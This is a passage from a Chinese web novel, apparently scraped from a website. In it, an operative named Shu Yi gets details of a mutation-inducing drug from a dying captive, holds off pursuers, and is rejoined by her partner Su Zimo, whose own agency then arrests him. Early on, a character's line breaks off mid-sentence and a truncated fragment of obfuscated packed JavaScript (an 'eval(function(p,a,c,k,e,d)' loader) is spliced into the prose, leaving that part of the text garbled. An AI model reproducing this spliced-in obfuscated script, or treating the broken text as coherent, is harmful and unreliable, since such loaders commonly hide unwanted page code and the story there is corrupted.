受自身知识储备和理解能力局限,舒懿无法在认知范围内找到“VPBP”的概念,但她却熟悉“原液”两字,用于描述某种原料浓缩液体的母体。 那个黑色角标的绝密计划当中,有个名词的英文缩写恰好同“VPBP”相符! 舒懿暗自留心,狠狠打了个寒战。 “是……但是建立一个完备的实验系统耗资、耗时巨大,我们真的要就这么放弃么?” 眼睛骤然瞪大,她恨不得把耳朵伸到人家嘴边。蓝制服却不肯配合,死命挣扎,最后一口咬住了她的手。 人下死力气一咬,力道绝对论不上轻。 剧烈的疼钻心地往她皮肉里剜,然而舒懿却硬扛着不吱半声,一根筋地提着心吊着胆,不肯漏听一个字。 “嗯,我知道。”那人轻笑一声,“可惜洛那家伙不肯好好听话,有所觉察,野心太大——这样下去绝对走不远,倒不如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蓝制服低低喘息,风声从喉咙穿过,破碎不堪。他断断续续、然而无比坚持地说:“我放心不下她,你,你帮帮她,你想知道的,我告诉你……” 舒懿迟疑了片刻。 蓝制服眼睛亮得逼人,燃着一簇焚烧的火炎,几乎要把灵魂烧穿。未经思索,她便点了点头。 “VPBP……是一种药,我们发现了一种物质,能……诱导变……变异,”蓝制服声音越来越微弱,像支风中摇曳的残烛,“方向控制不了,似乎是完全随机,在怪物和动物身,身上实验,VPBP-I6已经……可以保证60%的有利性……” 舒懿紧紧盯住他的眼睛:“我帮你止血,别睡过去!还有人在等你,接下来配合我们,我们一起出去!” 外边的脚步声凌乱嘈杂,飞快袭来。舒懿“刺啦”一声撕下自己制服的布条,颤抖着开始包扎。她这人脾性有点面,不容易慌张失措,手上工夫丝毫不乱。 只是指尖有些克制不住。 可到底来不及了。 三四个枪口同时对准她,追兵杀到! 舒懿一脚踹倒资料架,挡住第一波射击,护紧头颈向侧面滚了两尺,不得已放弃了蓝制服,也为了不让子弹误伤他,舒懿一头扎了出去,抽出腰间枪械,借着掩护连开三枪。也不管打没打中,抱头鼠窜。 她受过的专业训练尚且不足,枪支后作力几乎把她整条手臂震麻了。舒懿拖着半身不遂的身体和敌人在资料室里玩追逐战,很快便被逼到了墙角。 “卸下你的武装!” “举起双手,不许动!” 僵持几秒,她慢慢举起手,把手中一把枪放在地上,推给了敌人。另一只手抽出腰间的枪,做出弯腰准备放在地上的姿势。 然而下一秒,枪支在她指尖一转,舒懿扣紧了扳机—— 却并非对准敌人,而是抵住了自己的太阳穴。 45.增援 追兵脸色突变,立显阴鸷:“你以为这样就——” “你们不敢要我的命,”舒懿和缓地说,“如果没猜错,我搭档已经入侵了基地,内忧外患,不然你们也不至于一个能力者也调不到;与此同时,人质逃逸也使你们丧失了最后一张同他对峙的底牌,因此——” 她眼神明亮,戏谑一笑,竟是面无惧色:“好几轮射击,你们都刻意避开了要害,温吞得令人难以置信 ,否则我怎么能好端端站在这?怕是早变成筛子了。” 下一刻,轻笑声在耳畔响起。低沉柔和,她浑身紧绷的神经陡然一松,眼前几乎恍然发黑。 这个好听的声音说:“我怎么觉得我很多余?” 拖延战术奏效,舒懿猛地回头。 那个高大挺拔的身影出现在大门口,单手扒着门框,似笑非笑。青年发丝衣领平整洁净,几个呼吸不到,便已将同她对峙的追兵解决,显然游刃有余。 和她灰头土脸的形象形成鲜明对比。 不知为何,舒懿有点不是滋味。 她心力憔悴,本就低得可怜的察言观色水平降到了负数,没能注意青年的笑容只在看见她一瞬间浮起,微薄一层,便很快尽褪干净。苏子沫凝噎片刻,而后垂眸移开了视线,声音放得更低更轻: “对不起。” 末了,他又接道:“…来晚了。很抱歉,对不起。” 相比复杂,她第一时间其实更是惊讶的——因为苏子沫从未有过这种语气。 郑重、坦诚、毫不回避的歉意。 以往,他似乎永远镇定自若,处变不惊,至多再加些戏谑——仿佛无论怎样的石子投进那双冷色的蓝中,都掀不起多少波澜。 此刻却是真实的。 歉疚是真实的,担忧是真实的,恐惧也是真实的。 有点瑟缩,又在高兴。 但一切都只像相机闪烁的快门那样在印象中浅浅一笔,她没空去想,眼下情况远比情绪要紧。 舒懿就摆摆手,一笔带过:“不碍事,我要找一个人,穿蓝制服,他中弹了——” 苏子沫盯着她看了好几秒,从头慢慢移到脚,在她右手尤其停留了些时间,又移回舒懿脸上,似乎在等她说些什么,但没能等到。 视线如有重量。 舒懿手上还在干活,待了片刻,发现青年居然毫无动静,一语不发地盯了她好半天。简直浑身发毛,出口就要嘴,苏子沫终于启动了。 他体贴配合她搜寻起来,笑笑: “你说。” “这人本来是个挟持人员,但他愿意配合我们,我从他那里获知了重要情报,所以——” 说话间,青年正好翻到了蓝制服那一动不动,瞳孔放大得有些恐怖的尸体。 “不对……” 不对。 舒懿脚步一下乱了。 “他明明说过要配合我的,他,他不能死啊,还有人在…等他呢……” 她慢慢上前,几乎有些踉跄。舒懿弯下腰,把手指放在蓝制服鼻子前,颤抖着瑟缩一下,才惊觉只是呼吸的臆想。 目光直直落在他脸上,只感到空旷的茫然。 那双曾经燃烧着火焰的眼睛熄灭了,呆滞又无神,倒映着天花板一闪一闪机械的红光。 他眼角有一滴泪。 她原来想,出去以后,他可以马上接受治疗,配合处理局将功补过,可能判的时间不会很长。洗心革面以后,找个正规工作抚养女儿,有可能自己还会和这个姑娘成为朋友。 她原来想…… 没人注意的角落,在她应对敌人时,他身上血越流越多,止也止不住。身体一点一点冷下去,他在努力地睁大眼睛,可是什么也看不见。 只有坟墓一般的黑暗。 那时他在想什么呢? “我就要死了。”蓝制服嘴唇掀动,浑身颤抖,“我…其实……” 不想死。 “我不想死,我还没……晴晴,你在哪?我不想死…我不想死…谁来…我不能……” 然后他大概就在这一遍又一遍“不想死”中,永远停止了呼吸。 其实她还不知道他名字。 ——这世界上多少人是这样呢?明明有点着灯等自己回家的人,却踏上了一条无法回头也无法回家的路,然后有一天命运的浪头打过来,就轻飘飘绞碎了。 究其一生,大抵只配在积灰的档案里混上一个边角的坏名声。 可是为什么呢? “不是你的错。也不用为他难过,既然选择了这条路,也就选择了这一天。” 青年站在她身边,脸上并没有什么波动。只是落在耳中,声音轻了一度。 “我知道。” 舒懿默默把手覆上去,抹下蓝制服的眼皮: “就是有点感慨,没准什么时候我也嘎嘣一下就挂了——现在想来,真是命大,就走这一遭,换别人早死了九回十回,我现在还好端端活蹦乱跳。” 这一次,他沉默了很久。 “…你不会死的。” 有那么片刻,舒懿整个人都是懵的。等到她惊觉他究竟说了什么,表情顿然怪异,不由得哧笑出声: “又不是死神跟阎王爷,你说了不算,大哥。” “你不会死的。” “哇好牛啊,借你吉言借你吉言。”她随口敷衍了两句,觉得很逗,压根没放在心上。直到她起身回过头来,恰好与苏子沫视线相交。 无法形容那个眼神。 很冷,又很烫。极黑,又异常亮。但那光亮是病的。如有熔岩在冰下奔突,蓄积,就要冲破地面,烧尽一切之物。 那双眼里有种令人畏惧、毛骨悚然的苗床,但又非常痛苦,难以言喻的痛苦。 甚至是悲哀,可怜。 她只窥见一刹,就震慑到无法言语。 “…认真的啊?” 苏子沫不说话。 “…突然干嘛这是,”舒懿长长叹气,不自在地撇开了眼神,“你不是最理解?反正你比我理解。哎,生死有命,富贵在天!” 苏子沫还是不说话。 半晌,胳膊被人碰了一下,舒懿视线上移,原来是递过来的怀表、笔记本和武器。 “woc,牛哇牛哇,这是真谢谢!!” 她呲着个大牙傻乐,吭哧吭哧要接。手已经抬到一半,突然愣在半空,把沾血的手在制服上抹了把才伸出去——他手那么干净,又有洁癖,总不能直接碰吧。 苏子沫却好像被她这个动作刺痛了。 他嗓子发紧,不分由说解下自己的领带:“手伸出来。” 舒懿没心没肺地笑:“别麻烦,那领带多贵啊,这个伤又不碍事……” 青年眼皮都不抬。 好吧。舒懿翻了个白眼,又一次对此人那恶劣的本质有了深刻体会。她不再废话,开口便直入正题: “具体怎么逃出来的先放一边。以下有几点需要汇报:首先,那名绑架我的中年男子击碎你的护罩仅用了几秒,但他基本的外貌特征我还有记忆。大概四五十来岁,也可能年龄更大,我不知道你们能力者会不会老得更慢。深蓝西装,软底皮鞋,鹰钓鼻,眯缝眼,过来路上你有见到过这个人吗?” 苏子沫随手在资料室翻出一个U盘,插入电脑后开始操作,略微回想了一番:“不,并没有。” “再后来,我遇到了他,就是那个蓝制服。本来是挟持他带路的,我问他某个绝密计划的内容,一开始他并没有答复我,还反抗过几次。” “你那手是他弄的?” 大概是错觉,她觉得青年在说这句话时声音明显冷淡了不少。 “嗯,当时资料室外来了人,我捂着他嘴躲在后面。为首的那个提出要带走他们研发的一种诱导变异药物,并且打算销毁资料……” 苏子沫飞快在键盘上游走的手指微微顿了一下:“什么?” 他心中暗自吃了一惊。 舒懿可能不清楚她获得的情报有多重要,苏子沫却不同。他几乎有些隐隐的毛骨悚然,假如情报属实,甚至可能颠覆能力者界的格局。 说来她真是个神奇的存在,最开始他救下她的时候,发现她为人处事单纯天真,不懂规矩,有些厌恶。不过还没厌恶到顶,她就用一次次的行动和语言刷新了他的印象—— 后来她遇袭,居然自己逃了出来,而且还没选择逃出基地,甚至是继续深入。 就跟不知道什么是命似的。 而现在,她所获知的一系列重要情报则完全出乎了他的意料。 “随后,那人发现了我,开了枪。我躲开了,蓝制服中了弹。”舒懿接着说,“可能是命大,或许是怕你来,他们并未将我灭口,而是迅速离开了。临走时按响了警报,蓝制服突然开口,告诉了我有关药物的信息;可追兵杀到,我没办法,只能……” 舒懿说着沉默了,顿了下,跳过了这个话题。 “特别要注意,那拨带走资料的人不像是这个组织的成员,更像是把这个组织当作傀儡或者挡箭牌,自身还隐藏在阴影中。” 苏子沫闻言,眯了眯眼,把U盘拔出来揣进口袋,低声道:“回去再细说,现在我想……嗯,要求你做一件事。” 一旁的舒懿同志极其干脆接了句: “好,什么事?” “就……靠我近一点,快要贴上的那种程度,放心,”苏子沫话音罕见有点飘,含混道,“我接下来要上地面 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海潮般的能量束山呼海啸地向天空迸发,云层如石击水,碧破苍穹,冲击波扩散出去,顷刻四下便再无一白。 万里无云。 恍然间一缕黑色飘忽闪过,舒懿反应未及,那点诡异的黑就风卷残云地褪淡,像个微不足道的错觉。 …她还是太遵纪守法了。 想法有点单纯。 一直以为苏子沫的“很有本事”也就是打打怪,砍砍人那种程度,就算格温严肃给过他极高的评价,她也压根没放在心上。 回过味来,真当是言行举止间都在大写着“恐怖”两字。 “好了。” 苏子沫调整高度,缓缓降落。他垂下眼睫,语调不知为何有些异样的冷。 “增援最迟十分钟。现在,我把那些人拉出地面。” 舒懿惊叹:“我去,处理局效率也太他喵高了吧?!你啥时候叫的增援?十……十分钟?不愧是处理局——” “嗯,”苏子沫漫不经心,“是挺高。” “你这次一定立大功了吧?”舒懿探头,忍不住笑,“独自一个人全歼了犯罪组织,会升官吗?” 苏子沫脸上浮起一个不大明显的笑容:“可能吧。” “对了,你是怎么找过来的?这么快?下午都没完,你就摸过来了??” 舒懿愣了愣,突然意识到了某个重要问题。 “特殊路线。” “特殊路线?” “我投敌了,”苏子沫简直是语不惊人死不休,轻描淡写,“当然,是假装的,有个干部被我策反了,给我上的限制装置挑了型号二。” “……” 这人不仅丧心病狂,还胆大包天得离谱! 念及此处,她虚着眼离苏某人远了点,默念了四遍清心咒,感觉自己被污染果然情有可原。这个人装得再怎么文质彬彬温文尔雅,内里都恶劣得令人发指。 苏子沫看她有点后退,成功在她身上找出了让自己莫名愉快的惊诧和恐惧,挑挑眉,勾起嘴角笑了一下:“怎么了?” 舒懿垂下眼,沉默了一会,抬起头来认真地说:“苏子沫,我是一个执行员。还有,你只比我大两岁,再怎么样……你也才刚成年啊。” 苏子沫突然不吭声了。 瞳孔隐在睫毛打下的阴影中,有那么一瞬间错综复杂得令人难以理解。 他是个说好不好,说坏不坏的人。 因为一份与生俱来的力量,趟过不知多少刀山血海,从未遭遇过困局。旁人看来,他就像不知道慌张,不知道害怕,强大得不近人情。除了他老师,还没有人说过一句“你才刚成年”。 他对于帮助本能地抗拒。 没有期望,就不会有失望。 一直处在无可依仗,孤立无援的境地,他几乎以为已经习惯。 可事实证明,满怀戒虑地露着獠牙,但在那一点微末的温暖前又总险些克制不住。 无法断绝的念想,无法熄灭的奢望。 两人此后便没了话音。直到远方隐隐约约出现了人影,速度极快,很快便靠近到距他们几米远处。 众多面无表情的生面孔中,几位制服武装人员陪同一位看上去很严肃的中年女性走了出来,站成一排,面色凝重地盯着苏子沫。 纵使再白痴,舒懿此时也察觉出来气氛不对了。她下意识看向苏子沫,张了张口,然而还没来得及开口,就被那名中年女性打断了。 “编号1863,执行员苏子沫,我以擅自行动、损坏定位、通敌嫌疑、隐瞒真实能力为由,将你逮捕,希望你对此做个解释。”